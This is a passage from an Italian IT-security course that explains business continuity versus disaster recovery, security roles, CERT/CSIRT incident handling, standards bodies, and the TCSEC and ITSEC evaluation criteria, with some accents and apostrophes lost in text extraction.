e il ripristino dopo un
disastro (disaster
recovery).
www.pcopen.it 12
dali in una localit alternativa e un contingency plan che
specifichi il modo di reagire a eventi esterni che causino un
serio impatto sullorganizzazione.
Nel mondo degli affari, il disaster recovery planning si
sta evolvendo verso il business continuity planning da pa-
recchi anni e i recenti eventi terroristici hanno accelerato
questa tendenza. Gi nel 1995 il Disaster Recovery Institu-
te International ha rimpiazzato la designazione di Certified
Disaster Recovery Planner (CDRP) con quella di Certified
Business Continuity Planner (CBCP).
La differenza tra disaster recovery e business continuity
che un piano di disaster recovery reattivo e si focalizza
di solito sul ripristino dellinfrastruttura informatica. Seb-
bene sia logico irrobustire linfrastruttura informatica per
prevenire un disastro, lo scopo principale del piano di di-
saster recovery rimediare ai danni allinfrastruttura. Al
contrario, un piano di business continuity non soltanto
proattivo, ma ha anche lobiettivo di mantenere in funzio-
ne le attivit dellazienda durante qualsiasi evento, non li-
mitandosi a ripristinare i computer dopo il fatto.
Come parte del processo di pianificazione della business
continuity, unazienda dovrebbe riesaminare la continuit
o il ripristino di produzione, imballaggio, stoccaggio, spe-
dizione, supporto clienti e qualsiasi altra struttura o fun-
zione critica per la sopravvivenza dellazienda. Un fattore
chiave per un piano di continuit funzionale il coinvolgi-
mento degli utenti, in modo da non trascurare procedure,
attrezzature, documentazione e altre necessit necessarie
per ripristinare i processi di business, non soltanto
lhardware e il software.
Un piccolo esempio della differenza tra ripristino dopo
un disastro e continuit operativa viene offerto dalluso
personale del computer. Lutente che si organizza per un
rudimentale disaster recovery, tiene backup periodici dei
dati e dei file importanti e tiene sotto mano il software ori-
ginale; se il sistema si blocca o lhard disk si guasta, rein-
stalla il sistema operativo e le applicazioni, applica di nuo-
vo tutte le personalizzazioni (Windows, e-mail, Internet, ap-
plicazioni eccetera) e ripristina i dati dal backup, perden-
do solo le aggiunte e le modifiche successive allultimo
backup.
Lutente orientato alla business continuity si attrezza
con almeno due hard disk e un software di backup auto-
matico delle immagini delle partizioni di disco; quindi pia-
nifica copie complete settimanali e copie incrementali
giornaliere.
Se si dotato di un hard disk di backup ben dimensio-
nato, pu anche conservare pi immagini delle partizioni
per scegliere quale ripristinare secondo le circostanze (per
esempio una pi affidabile o una pi aggiornata). Anche se
si guasta il disco principale, basta sostituirlo e ripristinare
le partizioni dai file immagine per riprendere la normale
operativit in poco tempo (pu bastare unora), senza rein-
stallare nulla.
In sintesi, lobiettivo generale delle attivit di sicurezza
mantenere la continuit del business aziendale e, in par-
ticolare, del lavoro del personale e del servizio ai clienti.
Hardware, software, sistemi, reti, informazioni, attrezzatu-
re e personale sono elementi da proteggere, ma vanno in-
quadrati nel piano di sicurezza generale con lobiettivo di
assicurare la continuit operativa.
Strati di responsabilit
Ogni membro del personale di unazienda, dalla cima al
fondo dellorganigramma, ha una parte di responsabilit
per le condizioni operative dellazienda e, in particolare,
per il mantenimento e il miglioramento della sicurezza.
Il management superiore ha la responsabilit di trac-
ciare obiettivi e strategie a lungo termine per lintera azien-
da; inoltre ha la responsabilit globale per la sicurezza del-
lazienda e per la protezione dei beni. In base alle leggi vi-
genti, ai beni da proteggere, ai rischi da controllare e agli al-
tri fattori, spetta al management superiore dar vita a unor-
ganizzazione di sicurezza, assegnare gli obiettivi di sicu-
rezza, fornire i mezzi per raggiungerli e far s che lintero
personale partecipi agli obiettivi e osservi le politiche, le li-
nee guida, le procedure e le direttive in materia di sicurez-
za.
Il management di livello divisionale e dipartimentale,
avendo conoscenza diretta del funzionamento dei propri
dipartimenti e delle mansioni del personale, ha la respon-
sabilit di contribuire alla formazione delle politiche di si-
curezza, di partecipare ai processi di analisi e di controllo
del rischio, allanalisi costi/benefici delle contromisure e al
monitoraggio delle attivit di sicurezza, delegando parte
dei compiti, ma condividendo le responsabilit con il ma-
nagement operativo, gli specialisti di sicurezza, i system ad-
ministrator, gli auditor e gli utenti.
I manager operativi e lo staff sono a contatto con lef-
fettiva operativit dellazienda e conoscono in dettaglio i
requisiti tecnici e procedurali, i sistemi e il loro utilizzo. Il
loro compito fornire informazioni utili per pianificare, or-
ganizzare e monitorare i programmi di sicurezza e imple-
mentare le politiche, le linee guida e le procedure stabilite
dal management e dallorganizzazione di sicurezza.
Gli esperti di sicurezza, sia che si tratti di funzionari o
di dirigenti interni (come security officer o Chief Informa-
tion Officer) o di professionisti esterni, hanno la funzione e
la responsabilit di realizzare gli obiettivi di sicurezza e di
implementare le direttive del management superiore. Gli
esperti di sicurezza, grazie alla loro competenza specifica,
sono un fattore chiave per dare solide fondamenta allor-
ganizzazione di sicurezza e per metterne in funzione i pro-
cessi, inclusi i meccanismi di monitoraggio e controllo per
mantenere la rotta senza un rilassamento delle policy, del-
le linee guida, degli standard e delle procedure. Una delle
principali responsabilit degli esperti di sicurezza il coin-
volgimento del management, a cui spetta la firma su ogni
decisione e direttiva dopo aver recepito requisiti, informa-
zioni e analisi dal gruppo di sicurezza e dal personale (coin-
volto tramite questionari, interviste ecc.).
Due ruoli importanti per la sicurezza, che devono esse-
re chiaramente definiti, sono il proprietario dei dati e il cu-
stode dei dati.
Il proprietario dei dati generalmente un membro del
management superiore ed , in definitiva, il massimo re-
sponsabile della protezione delle informazioni e della si-
curezza in generale. A lui verr imputata ogni negligenza
che abbia come conseguenza la perdita o la divulgazione il-
lecita delle informazioni e i danni conseguenti. Le violazio-
ni vanno dalla inosservanza della legge sulla privacy (per
esempio consentendo laccesso illegale al database trami-
te Internet) alla copia illecita di dati soggetti a copyright
(come software, musica e film scaricati dai dipendenti) al-
la inadeguata implementazione di procedure di disaster re-
covery e business continuity (gli azionisti potrebbero de-
nunciare inadempienze che causino grosse perdite alla-
zienda).
Il custode dei dati ha la responsabilit della manuten-
zione e della protezione dei dati, un ruolo che di solito ri-
coperto dal system administrator o, in una grande azienda,
da un ruolo senior a system administrator e network ad-
ministrator. Tra le funzioni ci sono lesecuzione di backup
periodici (generalmente secondo una strategia a pi livel-
li, con diversi tipi di supporto, diverse periodicit e, nel ca-
so dei database, sistemi di replicazione remota sincroni o
asincroni secondo i requisiti). Deve inoltre implementare i
meccanismi di sicurezza, validare periodicamente linte-
grit dei dati e dei supporti (sia on line sia di backup), ri-
pristinare i dati (e i programmi) dai backup quando neces-
sario e soddisfare i requisiti delle politiche di sicurezza, de-
gli standard e delle linee guida che riguardano la sicurezza
delle informazioni e la protezione dei dati. In particolare, un
system administrator responsabile dei singoli computer
della sicurezza
5.1.3.4 conoscere le
responsabilit di tutti
i ruoli coinvolti in
unorganizzazione
(addetti alla
sicurezza,
amministratori di
sistema, utenti
qualunque).
www.pcopen.it 13
e dispositivi collegati, mentre un network administrator
responsabile delle connessioni, dellhardware e del softwa-
re di networking, oltre che del funzionamento in rete dei
computer e delle periferiche. Nelle aziende piccole le due
figure si sovrappongono.
Gli utenti sono tutti gli individui che quotidianamente
utilizzano i dati per motivi di lavoro. Ogni utente dovrebbe
avere i privilegi di accesso necessari per svolgere le proprie
mansioni ed responsabile di applicare le procedure di si-
curezza per preservare la disponibilit, lintegrit e la ri-
servatezza delle informazioni.
Una cattiva gestione della sicurezza, non conforme agli
strati di responsabilit, causa buona parte dei problemi in
tale campo. Lorganizzazione della sicurezza dovrebbe pre-
vedere un comitato di alto livello per assicurare che le
istanze di sicurezza ricevano la dovuta attenzione da par-
te del management superiore.
Un CIO (Chief Information Officer) o security officer do-
vrebbe lavorare con il management superiore per definire
le procedure di sicurezza strategiche e supportare i busi-
ness manager nel definire le loro necessit in tema di infor-
mazioni e sicurezza. I business manager (responsabili ad
esempio di attivit commerciali, di marketing, di rapporti
con i clienti, di progetti di espansione) hanno la principale
responsabilit nel determinare i requisiti di protezione del-
le risorse informative, quindi dovrebbero essere coinvolti
direttamente nella scelta delle misure di protezione. Spet-
ta ai business manager anche approvare i nuovi account
degli utenti, mentre gli amministratori della sicurezza crea-
no gli account, assegnano le password, si occupano del
software di sicurezza, testano le patch prima di applicarle
ai sistemi.
Le decisioni sui beni da proteggere e sulle contromisu-
re da adottare sono compito del management superiore
(assistito dallo staff e dagli organismi predisposti), non dei
system administrator e dei professionisti della sicurezza.
Un errore molto frequente gestire la sicurezza a livello di
security administrator o system administrator. In tal caso,
la sicurezza non vista nei termini ampi e generali che ri-
chiede, non viene eseguita alcuna analisi del rischio, unat-
tivit che richiede le valutazioni del management superio-
re e questultimo non prende consapevolezza dei rischi a
cui lazienda esposta. Inoltre, non vengono stanziati i fon-
di necessari per le attivit di sicurezza e non viene svolta
opera globale di sensibilizzazione ed educazione del per-
sonale.
Il dipartimento del Personale ha responsabilit specifi-
che in tema di sicurezza. Met dei problemi di sicurezza so-
no originati da cause interne alle aziende, sia per carenze
nella gestione della sicurezza sia per pratiche di recluta-
mento inadeguate. Al dipartimento del Personale spetta as-
sumere o ingaggiare personale qualificato, verificare il cur-
riculum di studi e lavoro e le informazioni personali, far fir-
mare un impegno di non divulgazione delle informazioni (e
di rispetto del copyright).
Spetta sempre al dipartimento del personale fornire lad-
destramento necessario, imporre uno stretto controllo de-
gli accessi, monitorare lutilizzo dei sistemi e, in caso di vio-
lazione, provvedere immediatamente per impedire ulteriori
danni e proteggere le informazioni, le risorse e tutte le par-
ti interessate (non dimentichiamo la condanna dellammi-
nistratore delegato per i film pirata scaricati abusivamen-
te dallimpiegato).
CERT, CSIRT e la gestione degli incidenti
Con la diffusione delle connessioni in rete e lespansio-
ne di Internet, dopo i primi attacchi si sent lesigenza di co-
stituire organizzazioni per reagire prontamente a eventi
che minacciassero la sicurezza dei computer collegati a In-
ternet. Il primo Computer Emergency Response Team
(CERT, squadra di intervento per le emergenze informati-
che) fu creato negli USA dalla DARPA (Defense Advanced
Research Projects Agency), nel novembre 1988, in risposta
al primo grave attacco alla rete, quando un worm mand in
avaria il 10% di Internet.
La missione del CERT quella di operare con la comu-
nit di Internet per facilitare la risposta agli eventi riguar-
danti la sicurezza degli host (i computer collegati a Inter-
net), prendere iniziative per sensibilizzare la comunit su-
gli aspetti della sicurezza e condurre ricerche rivolte a in-
crementare la sicurezza dei sistemi esistenti.
Il primo CERT (www.cert.org) diventato il CERT Coor-
dination Center (CERT-CC) ed situato presso il Software
Engineering Institute, finanziato dal governo USA e gestito
dalla Carnegie Mellon University di Pittsburg.
Si focalizza sulle violazioni alla sicurezza, allerta sulle
nuove minacce, reagisce agli attacchi (i cosiddetti inci-
dents) e fornisce assistenza, informazioni sulla vulnerabi-
lit dei prodotti e istruzione con documenti e tutorial.
Nel 2003 stato formato lo United States Computer
Emergency Readiness Team (US-CERT, www.us-cert.gov),
una partnership tra il Department of Homeland Security
(nato nel 2002 per fronteggiare gli attacchi terroristici in
USA) e il settore privato.
LUS-CERT opera a Washington e a Pittsburg, in stretto
coordinamento con il CERT-Coordination Center. Il suo
compito analizzare e ridurre le minacce e vulnerabilit
informatiche, disseminare informazioni per allertare sulle
nuove minacce e coordinare le attivit di risposta agli inci-
denti.
Vista la dimensione delle reti, il numero di comunit di
utenti e la richiesta di supporto per fronteggiare i problemi
di sicurezza, il CERT-CC impegnato ad aiutare la forma-
zione degli CSIRT (Computer Security Incident Response
Team), squadre di intervento per gli incidenti di sicurezza
informatica, a cui fornisce guida e addestramento. Nella
maggior parte delle aziende, i system e network admini-
strator non hanno a disposizione personale, competenze e
procedure per fronteggiare prontamente gli attacchi infor-
matici e minimizzare i danni, come dimostra il numero cre-
scente di incidenti di sicurezza.
In questi casi necessaria una risposta rapida ed effica-
ce; pi tempo trascorre per riconoscere, analizzare e ri-
spondere a un incidente, maggiori sono i danni e i costi di
ripristino. Le grandi organizzazioni hanno la possibilit di
crearsi il proprio CSIRT, come avviene negli USA con laiu-
to del CERT CSIRT Development Team.
In alternativa, si ricorre a gruppi di intervento pubblici,
come il CERT-IT (http://security.dico.unimi.it) e il GARR-
CERT (www.cert.garr.it) entrambi italiani.
I CERT o CSIRT delle varie nazioni sono collegati in una
struttura internazionale che permette la rapida condivi-
sione delle informazioni utili a fronteggiare minacce e at-
tacchi. Il FIRST (Forum for Incident Response and Security
Teams, www.first.org) nato nel 1990.
Nel 2003 FIRST contava la partecipazione di 150 orga-
nizzazioni per la risposta agli incidenti di sicurezza in ogni
parte del mondo. Il CERT-IT, ubicato presso lIstituto di
Scienza dellInformazione dellUniversit degli Studi di Mi-
lano, il primo membro italiano di FIRST, a cui stato am-
messo nel 1995.
La segnalazione degli incidenti al CERT-IT avviene in for-
ma riservata e autenticata tramite PGP (Pretty Good Pri-
vacy), un programma di cifratura gratuito usato da milioni
di utenti per proteggere la riservatezza della posta elettro-
nica (www.it.pgpi.org). La gestione degli incidenti prevede
tre fasi:
1) la segnalazione dellincidente, via e-mail o via Web,
con allegate le informazioni sullattacco e i file rilevanti (co-
me quelli di log);
2) la registrazione dellincidente da parte del CERT-IT e
lindagine sullattacco fino a informare lutente, se le infor-
mazioni fornite sono sufficienti, sui rimedi da adottare;
3) la chiusura della segnalazione.
della sicurezza
5.1.3.5 sapere come
partecipare a una
squadra dintervento
per le emergenze
informatiche.
www.pcopen.it 14
Standard ed enti
di standardizzazione
Gli enti di standardizzazione principali e il loro ruolo
Gli enti di standardizzazione sono organizzazioni di na-
tura molto differente, che coprono aspetti normativi di-
versificati e hanno avuto una genesi diversa a seconda dei
casi. Operano in ambito nazionale o internazionale ed
emettono norme e linee guida (gli standard) che 1) per-
mettono di realizzare prodotti, processi e servizi secondo
lo stato corrente delle tecnologie e 2) forniscono le basi per
garantire linteroperabilit tra prodotti di produttori di-
versi. Oltre a emettere standard, questi enti svolgono altre
attivit, come la pubblicazione di documenti interpretativi
per facilitare lapplicazione degli standard secondo deter-
minati profili di utilizzo.
Generalmente gli enti di standardizzazione operano sul-
la base del consenso con unattivit di coordinamento e ar-
monizzazione. A volte il documento che descrive uno stan-
dard il risultato del lavoro di ricerca e sviluppo di un grup-
po di aziende e un compito dellente di standardizzazione
far s che le norme raggiungano un vasto campo di appli-
cabilit nel settore industriale interessato. In qualche caso
diversi gruppi industriali adottano tecnologie in concor-
renza tra loro e lente di standardizzazione, se non preval-
gono interessi economici o politici particolari, riesce ad ar-
monizzarne le caratteristiche definendo uno standard a cui
tutti i partecipanti si uniformano.
Casi di questo genere sono frequenti, per esempio nel
campo delle comunicazioni e del networking, quando alla
fase di rapida uscita sul mercato segue la ricerca del con-
senso e della massima interoperabilit. In generale, un en-
te di standardizzazione permette che le tecnologie con la
migliore combinazione di caratteristiche e consenso siano
codificate in modo da superare lambito locale di origine e
siano applicabili uniformemente e in modo interoperabile
su scala nazionale e internazionale. Gli organismi di stan-
dardizzazione possono essere istituzioni formalmente ri-
conosciute dagli stati nazionali o essere consorzi privati di
imprese che operano in un certo settore del mercato. Ve-
diamo ora quali sono gli enti di standardizzazione rilevan-
ti ai fini della sicurezza informatica.
ITU(International Telecommunication Union, www.itu.int):
unorganizzazione internazionale, nellambito dellONU,
dove governi e settore privato coordinano le reti e i ser-
vizi globali di telecomunicazioni. Ha sede a Ginevra e
comprende i settori ITU-T (standardizzazione), ITU-R
(radiocomunicazioni) e ITU-D (sviluppo). Ai fini della si-
curezza delle informazioni, sono di interesse le racco-
mandazioni ITU-T della serie X.500 (servizi di directory)
e, in particolare, la norma X.509 che descrive il formato
dei certificati digitali.
ISO (International Organization for Standardization,
www.iso.org): la maggiore organizzazione internaziona-
le di standardizzazione e comprende gli enti di standar-
dizzazione nazionali di 146 paesi (lUNI il membro ita-
liano). LISO, il cui nome non un acronimo ma deriva dal-
la parola greca isos - uguale - ha sede a Ginevra e opera a
stretto contatto con IEC (International Electrotechnical
Commission), ITU, CEN (Comitato Europeo di Normaliz-
zazione) e CESI (Centro Elettrotecnico Sperimentale Ita-
liano). Le norme ITU X.500, in realt, sono state emesse
congiuntamente allISO e sono contenute nella serie ISO
9594. ISO/IEC/JTC1 il comitato che si occupa di stan-
dardizzazione nel campo dell'ICT (http://www.jtc1.org). I
membri del JTC1 (Joint Technical Committee 1) sono gli
enti nazionali di standardizzazione IT. Il JTC 1 respon-
sabile della gestione di un vasto e complesso programma
di lavoro ed strutturato in sottocomitati e gruppi di la-
voro in base alle aree di interesse. Il sottocomitato 27
(ISO/IEC JTC1/SC27) quello che si occupa di tecniche di
sicurezza e vi partecipa, per lItalia, lUNINFO.
IETF (Internet Engineering Task Force, www.ietf.org): una
vasta comunit internazionale di progettisti, operatori,
produttori e ricercatori nel campo del networking, inte-
ressati allevoluzione dellarchitettura di Internet e allaf-
fidabilit del suo funzionamento. aperta a tutti gli inte-
ressati e il lavoro tecnico effettivo svolto dai gruppi di
lavoro, che sono organizzati per argomento in aree come
routing, trasporto, sicurezza e cos via. LIETF emette nor-
me sotto forma di Request For Comment (RFC). Ne fa par-
te la serie dedicata alle infrastrutture a chiave pubblica,
normalmente indicate con la sigla PKIX (Internet X.509
Public Key Infrastructure).
CEN (Comitato Europeo di Normalizzazione, www.ce-
norm.org): un organismo europeo composto dagli enti
di standardizzazione dei paesi membri dellUnione Euro-
pea e dellEFTA (European Fair Trade Association - tra cui
lUNI per lItalia). CEN, CENELEC ed ETSI sono i tre enti eu-
ropei di standardizzazione a cui riconosciuta la com-
petenza nellarea della standardizzazione tecnica su base
volontaria e che sono elencati nellAllegato I della Diret-
tiva 98/34/EC riguardante la procedura informativa per
gli standard e la normativa tecnica. Insieme, essi prepa-
rano gli standard europei in settori di attivit specifici e
costituiscono il sistema di standardizzazione europeo.
La maggior parte degli standard preparata su richiesta
dellindustria, ma anche la Commissione Europea pu far-
ne richiesta. Le direttive UE normalmente contengono
principi generali obbligatori, demandando i requisiti tec-
nici dettagliati agli enti di standardizzazione. Il CENELEC
il Comitato Europeo per la Standardizzazione Elettro-
tecnica (www.cenelec.org). LEFTA (European Fair Trade
Association, www.eftafairtrade.org) lo spazio di libero
scambio nato nel 1960 tra Austria, Danimarca, Norvegia,
Portogallo, Svezia, Svizzera e Gran Bretagna.
ETSI (European Telecommunications Standards Institute,
www.etsi.org): unorganizzazione europea indipenden-
te, riconosciuta dalla Commissione Europea e dallEFTA.
Ha sede a Sophia Antipolis (Francia) ed responsabile
per la standardizzazione delle tecnologie informatiche e
di comunicazioni (ICT) in Europa. Queste tecnologie in-
cludono le telecomunicazioni, il broadcasting e le aree
collegate come i trasporti intelligenti e lelettronica me-
dica. LETSI raggruppa 688 membri in 55 nazioni (dato di
febbraio 2005) dentro e fuori lEuropa, tra cui produttori,
gestori di reti, amministratori, service provider, enti di ri-
cerca e utenti. Tra i campi dinteresse, lETSI si occupa di
algoritmi di sicurezza e di servizi TTP (Trusted Third Party
Services); tra i progetti, segnaliamo lEuropean Electronic
Signature Standardization Initiative (www.ict.etsi.
org/EESSI_home.htm), che tra il 1999 e il 2004 ha coordi-
nato lattivit di standardizzazione per implementare la
direttiva CE sulla firma elettronica.
UNINFO(www.uninfo.polito.it): una libera associazione
a carattere tecnico, con lo scopo di promuovere e di par-
tecipare allo sviluppo della normativa nel settore delle tec-
niche informatiche. Rientrano nel suo campo dattivit i si-
stemi di elaborazione e di trasmissione delle informazio-
ni e le loro applicazioni nelle pi diverse aree, quali, ad
esempio, le attivit bancarie e le carte intelligenti. LU-
NINFO associato allUNI, lente nazionale italiano di uni-
ficazione (www.uni.com/it) e rappresenta lItalia presso
CEN e ISO. Le attivit dellUNINFO nellambito della sicu-
rezza informatica sono svolte dalla commissione STT (Si-
curezza delle Transazioni Telematiche), che si occupa del-
le norme di sicurezza nelle transazioni telematiche, con
particolare riferimento alla firma elettronica.
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.1 conoscere i
principali enti di
standardizzazione e il
loro ruolo.
www.pcopen.it 15
Normative relative alla sicurezza
delle informazioni
Lattivit normativa relativa alla sicurezza pu essere
suddivisa in tre aree: norme funzionali, criteri di valuta-
zione della garanzia e norme relative al sistema di gestio-
ne della sicurezza.
1) Norme funzionali: queste sono relative ai prodotti e
hanno lo scopo principale di ricercare linteroperabilit
dei prodotti informatici. Coprono argomenti quali i pro-
tocolli di comunicazione, il formato dei dati (per esem-
pio in un certificato digitale o in una smartcard) e cos
via. Oltre agli standard emessi dagli enti formali di stan-
dardizzazione, ci sono numerose specifiche tecniche
pubbliche emesse da associazioni e talvolta anche da
industrie private. Oltre agli enti gi citati, segnaliamo an-
che i seguenti: ANSI, American National Standards Insti-
tute (www.ansi.org), IEC, Commissione Elettrotecnica In-
ternazionale: (www.iec.ch), DIN, Deutsches Institut fr
Normung (www.din.de), SEIS, Swedish Secured Electronic
Information in Society Specifications, Sweden
(www.seis.se).Tra le associazioni, oltre al citato IETF, se-
gnaliamo lIEEE, Institute of Electrical and Electronics En-
gineers (www.ieee.org.). Tra gli standard di aziende pri-
vate segnaliamo la serie PKCS#1-15 (Public Key Crypto-
graphy Standards) di RSA Security (www.rsa.com).
2) Criteri di valutazione della garanzia: sono i metodi con
cui viene valutata la fiducia che pu essere accordata ai
sistemi e ai prodotti informatici di sicurezza. Tra le pub-
blicazioni disponibili, le tre pi significative sono i cri-
teri americani TCSEC(Trusted Computing Security Eva-
luation Criteria, 1985), i criteri europei ITSEC (Informa-
tion Security Evaluation Criteria, 1991) e i criteri inter-
nazionali ISO/IEC 15408, noti come Common Criteria e
pubblicati nel 1999.
3) Norme e linee guida relative al sistema di gestione
della sicurezza nellazienda: segnaliamo le linee guida
ISO/IEC 13335 (Part 1: Concepts and models for IT Se-
curity, Part 2: Managing and planning IT Security, Part 3:
Techniques for the management of IT Security, Part 4:
Selection of safeguards, Part 5: Management guidance
on network security) e le norme BS (British Standard)
7799 (Part 1: Code of Practice, recepita dalla ISO/IEC
17799 Code of practice for information security mana-
gement del 2000 e Part 2: Controls, riveduta nel 2002).
I criteri per la valutazione
della garanzia
Abbiamo visto in precedenza che i sistemi di sicurezza
sono caratterizzati dalla funzionalit (quello che il sistema
deve fare per la sicurezza) e dalla garanzia (la fiducia nel-
la protezione offerta dalla funzionalit), a sua volta costi-
tuita da correttezza (qualit di implementazione della fun-
zionalit) e da efficacia (in quale grado la contromisura
protegge dalle minacce).
Le tre fonti citate sopra a proposito dei criteri di valu-
tazione della garanzia si chiamano appunto criteri di va-
lutazione, anzich norme o standard, perch, sia pure con
diversa attenzione ai requisiti funzionali, tutti si esprimo-
no sui livelli di garanzia, un concetto troppo astratto per
essere ridotto a uno standard. In ogni caso, TCSEC mischia
funzionalit e garanzia, ITSEC tenta di separare le due ca-
tegorie, ma non ci riesce del tutto, mentre questo risulta-
to stato raggiunto nei Common Criteria, pi efficaci e age-
voli da applicare.
I criteri di valutazione dei processi di sicurezza hanno
seguito idee e metodi diversi nel tempo e nelle varie aree
geografiche. Oggi il TCSEC viene considerato troppo rigi-
do, lITSEC troppo morbido e complicato e i Common Cri-
teria accettabili da tutti.
Il TCSEC stato sviluppato dal Dipartimento della Di-
fesa USA e pubblicato dal National Computer Security Cen-
ter (parte della National Security Agency) nel cosiddetto
Orange Book del 1985. Sebbene in Europa possa essere vi-
sto come superato, nella cultura di sicurezza americana
occupa ancora uno spazio rilevante ed considerato in-
dicativo delle esigenze di sicurezza degli ambienti milita-
ri.
Il TCSEC serve per valutare sistemi operativi, applica-
zioni e prodotti di vario genere. I criteri di valutazione so-
no stati pubblicati in un volume dalla copertina arancione,
detto perci Orange Book. Le valutazioni di sicurezza ri-
sultanti dallapplicazione del TCSEC servono ai compra-
tori per confrontare diverse soluzioni e ai produttori per
sapere a quali specifiche conformarsi.
LOrange Book viene usato per accertare se i prodotti
offrono le caratteristiche di sicurezza dichiarate e per va-
lutare se un prodotto appropriato per una funzione o ap-
plicazione specifica. Durante la valutazione, lOrange Book
prende in considerazione la funzionalit e la garanzia di un
sistema e fornisce un sistema di classificazione suddiviso
in una gerarchia di livelli di sicurezza:
A. Protezione verificata
B. Protezione obbligatoria
C. Protezione discrezionale
D. Sicurezza minima.
Ognuna delle quattro divisioni, da A (massima sicurez-
za) a D (minima sicurezza), pu avere una o pi classi di si-
curezza, ognuna numerata e corrispondente a un certo in-
sieme di requisiti da soddisfare. Le classi con numero su-
periore indicano un maggiore grado di fiducia e garanzia.
I criteri di valutazione includono quattro argomenti prin-
cipali: politiche di sicurezza, rendicontabilit (accounta-
bility), garanzia (assurance) e documentazione, ciascuna
delle quali si suddivide in sei aree:
- Politiche di sicurezza (la policy deve essere esplicita e
ben definita e imposta da meccanismi interni al sistema)
- Identificazione (i singoli soggetti devono essere identifi-
cati)
- Etichette (le etichette per il controllo degli accessi devo-
no essere associate in modo appropriato agli oggetti)
- Rendicontabilit (si devono raccogliere e proteggere i da-
ti di audit per imporre la rendicontabilit)
- Garanzia del ciclo di vita (software, hardware e firmware
devono poter essere testati individualmente per assicu-
rare che ciascuno imponga la politica di sicurezza in mo-
do efficace per tutto il ciclo di vita)
- Protezione continua (i meccanismi di sicurezza e lintero
sistema devono funzionare con continuit in modo pre-
vedibile e accettabile in tutte le diverse situazioni).
Queste categorie sono valutate in modo indipendente,
ma alla fine viene assegnata una valutazione complessiva.
Ogni divisione e classe di sicurezza include i requisiti del-
le classi e divisioni inferiori (per esempio la B2 include i re-
quisiti di B1, C2 e C1).
Le classi sono: C1 (protezione di sicurezza discrezio-
nale), C2 (protezione ad accessi controllati), B1 (prote-
zione obbligatoria), B2 (protezione strutturata), B3 (do-
mini di sicurezza) e A1 (progetto controllato). TCSEC sin-
dirizza alla riservatezza, ma non allintegrit. Mette gran-
de enfasi su controllare quali utenti possono accedere al
sistema e ignora praticamente che utilizzo costoro faccia-
no delle informazioni. Funzionalit e garanzia dei mecca-
nismi di sicurezza non sono valutate separatamente, ma
combinate tra loro.
Viste le numerose carenze dellOrange Book, special-
mente se applicato in ambito civile, furono pubblicate di-
verse estensioni, in quella che prese il nome di Rainbow
Series (serie arcobaleno). Ne fa parte il Trusted Network
Interpretation (TNI), detto Red Book, che si occupa di si-
curezza delle reti, uno dei tanti argomenti non trattati dal-
lOrange Book.
LITSEC stato il primo tentativo di stabilire un unico
standard di valutazione degli attributi di sicurezza da par-
te di molti paesi europei. Durante gli anni 80, Regno Uni-
5.1.4 Standard
ed enti di
standardizzazione
disponibilit di una
metodologia per
valutare i diversi
livelli di garanzia
(ITSEC, Common
Criteria).
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.3 conoscere le
differenze essenziali
tra gli standard
pubblicati (ISO/IEC
17799, BS 7799
part 2) nati come
supporto per la
costruzione di
uninfrastruttura di
gestione della
sicurezza allinterno
di unorganizzazione.
www.pcopen.it 16
to, Germania, Francia e Olanda avevano prodotto versioni
dei loro criteri nazionali, in seguito armonizzate e pubbli-
cate come Information Technology Security Evaluation
Criteria (ITSEC).
La versione 1.2 corrente stata pubblicata nel 1991 dal-
la Commissione Europea, a cui ha fatto seguito nel 1993 l'IT
Security Evaluation Manual (ITSEM) che specifica la meto-
dologia da seguire per realizzare le valutazioni ITSEC.
Linnovazione rispetto al TCSEC stato il tentativo di
rendere indipendente la definizione delle funzionalit, co-
s da poter applicare i criteri ITSEC a un ampio spettro di
prodotti e sistemi, che nel gergo ITSEC si chiamano TOE
(target of evaluation).
La definizione delle funzionalit di sicurezza scorpo-
rata in un documento chiamato Security Target, che de-
scrive le funzionalit offerte dal TOE e lambiente operati-
vo del TOE. Nel caso di un sistema, il Security Target con-
tiene una System Security Policy (regole operative definite
su misura per uno specifico ambiente operativo).
La valutazione ITSEC viene eseguita da terze parti chia-
mate CLEF (Commercial Licensed Evaluation Facility) a cui
spetta fornire le certificazioni di conformit ai requisiti di
sicurezza. Il processo ISEC inizia con lo sponsor (di solito
lo sviluppatore del prodotto, o TOE) che nomina un CLEF.
Il CLEF valuta il Security Target e produce un piano di la-
voro. Viene nominato un certificatore e il processo ha ini-
zio. Lo sponsor fornisce tutto il materiale al valutatore, che
valuta se esso soddisfa i requisiti in termini di completez-
za, coerenza e accuratezza. Una volta soddisfatto, il valu-
tatore produce un report e lo sottopone al certificatore per
lapprovazione. Se il certificatore soddisfatto, produce un
report di certificazione e pubblica un certificato ITSEC.
Il Security Target il documento chiave per la valuta-
zione e contiene il target evaluation level, ossia il livello di
valutazione di sicurezza a cui il produttore aspira per com-
mercializzare il suo prodotto in un certo mercato. Ci sono
sei livelli di valutazione da E1 a E6; maggiore il livello,
maggiore il dettaglio e il rigore richiesto ai materiali sot-
toposti alla valutazione.
I requisiti di efficacia sono gli stessi per i sei livelli di va-
lutazione e sono valutati in una serie di analisi: Suitability
Analysis, Binding Analysis, Ease of Use Analysis, Con-
struction Vulnerabilities Analysis e Operational Vulnerabi-
lities Analysis.
Per valutare la correttezza del prodotto viene prodotto
il documento Architectural Design, che identifica ad alto li-
vello la struttura di base del TOE, le interfacce e la suddi-
visione in hardware e software. Il Detailed Design un do-
cumento che scende nei dettagli dellArchitectural Design
fino a un livello di dettaglio utilizzabile come base per lim-
plementazione. Durante il processo di valutazione, viene
verificato se le specifiche di sicurezza del Detailed Design
sono implementate correttamente e vengono esaminati i
sorgenti del software e i diagrammi di progetto del-
lhardware.
Ulteriori materiali forniti dal produttore per la valuta-
zione includono lambiente di sviluppo (controllo di confi-
gurazione, linguaggi di programmazione, compilatori ec-
cetera), la documentazione operativa (guida utente e ma-
nuale di amministrazione) e lambiente operativo (distri-
buzione, configurazione, installazione e utilizzo).
LITSEC ha tentato di fornire un approccio pi flessibile
del rigido TCSEC, di separare funzionalit e garanzia e di
consentire la valutazione di interi sistemi. La flessibilit ha
per portato con s la complessit, perch i valutatori pos-
sono mescolare e abbinare le valutazioni di funzionalit e
garanzia, facendo proliferare le classificazioni e rendendo
il processo tortuoso.
I tempi erano maturi per tentare un approccio pi effi-
cace e unificato tra aree geografiche. Nel 1990 lISO rico-
nobbe lesigenza di criteri standard di valutazione di ap-
plicabilit globale. Il progetto Common Criteria inizi nel
1993 quando diverse organizzazioni si associarono per
